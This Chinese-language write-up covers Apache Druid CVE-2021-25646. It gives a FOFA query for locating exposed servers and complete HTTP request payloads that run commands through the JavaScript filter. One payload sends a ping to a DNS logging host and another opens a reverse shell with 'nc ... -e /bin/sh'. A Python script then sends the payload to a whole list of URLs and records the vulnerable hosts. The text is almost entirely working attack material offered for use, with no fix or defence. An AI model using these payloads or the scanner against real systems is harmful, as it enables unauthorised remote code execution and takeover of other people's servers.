漏洞描述

Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

影响版本

Apache Druid < 0.20.1

漏洞环境以及复现

fofa搜索:

title="Apache Druid"

测试漏洞是否存在

打开第一个网址,访问特定目录,目录存在:

/druid/indexer/v1/sampler

利用bp抓包,发送payload:

POST /druid/indexer/v1/sampler HTTP/1.1
Host: xxx.xxx.xxx.xxx​:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 995
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping 你的dns平台的地址')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

注意里面有你的dns平台的地址

成功执行

发送请求即可命令执行(替换为自己要执行的命令)

反弹shell请求包

POST /druid/indexer/v1/sampler HTTP/1.1
Host: xxx.xxx.xxx.xxx​:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1008
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec(' nc xxx.xxx.xxx.xxx 9999 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

批量脚本

import click
import requests
import sys
import json

requests.packages.urllib3.disable_warnings()

def title():
print('+------------------------------------------')
print('+ \033[34mVersion: Apache Druid < 0.20.1 \033[0m')
print('+ \033[36m使用格式: python3 cve-2021-25646.py \033[0m')
print('+------------------------------------------')


def scan(host):
global rep
url = str(host)+"/druid/indexer/v1/sampler"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/json"
}
payload = {
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"inputSource":{
"type":"inline",
"data":"{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"
},
"inputFormat":{
"type":"json",
"keepNullColumns":True
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"timestamp",
"format":"iso"
},
"dimensionsSpec":{

},
"transformSpec":{
"transforms":[],
"filter":{
"type":"javascript",
"dimension":"added",
"function":"function(value) {java.lang.Runtime.getRuntime().exec('ping i4l1e3.dnslog.cn')}",
"":{
"enabled":True
}
}
}
},
"type":"index",
"tuningConfig":{
"type":"index"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
try:
rep = requests.post(url=url, headers=headers, data=json.dumps(payload), timeout=5, verify=False)
except:
print("漏洞不存在")

if rep.status_code == 200:
print("\033[36m + " + url + "漏洞存在,请前往dnslog平台再次确认")
with open("druid_漏洞结果.txt", "a+") as f:
f.write(url + "\n")

else:
print("漏洞不存在")


def main():
title()
with open("要测试的url.txt", "r+") as f:
lines = f.readlines()
for line in lines:
host = line.strip()
scan(host)


if __name__ == '__main__':
main()